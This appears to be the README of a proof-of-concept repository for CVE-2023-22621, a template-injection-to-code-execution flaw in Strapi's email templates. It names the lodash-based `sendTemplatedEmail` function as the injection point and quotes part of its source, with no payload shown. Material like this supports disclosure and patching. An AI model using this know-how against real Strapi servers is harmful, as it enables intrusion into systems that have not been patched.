# CVE-2023-22621-POC
CVE-2023-22621: SSTI to RCE by Exploiting Email Templates affecting Strapi Versions <=4.5.5

The function `sendTemplatedEmail` renders email templates into HTML content using the [lodash](https://lodash.com/docs/)
 template engine that evaluates JavaScript code within templates. ref: https://twitter.com/rootxharsh/status/1268181937127997446?lang=en
 
 ```node
'use strict';

const _ = require('lodash');

const getProviderSettings = () => {
  return strapi.config.get('plugin.email');
};

const send = async (options) => {
  return strapi.plugin('email').provider.send(options);
};

/**
 * fill subject, text and html using lodash template
 * @param {object} emailOptions - to, from and replyto...
 * @param {object} emailTemplate - object containing attributes to fill
 * @param {object} data - data used to fill the template
 * @returns {{ subject, text, subject }}
 */
const sendTemplatedEmail = (emailOptions = {}, emailTemplate = {}, data = {}) => {
  const attributes = ['subject', 'text', 'html'];
  const missingAttributes = _.difference(attributes, Object.keys(emailTemplate));
  if (missingAttributes.length > 0) {
    throw new Error(
      `Following attributes are missing from your email template : ${missingAttributes.join(', ')}`
    );
  }
```
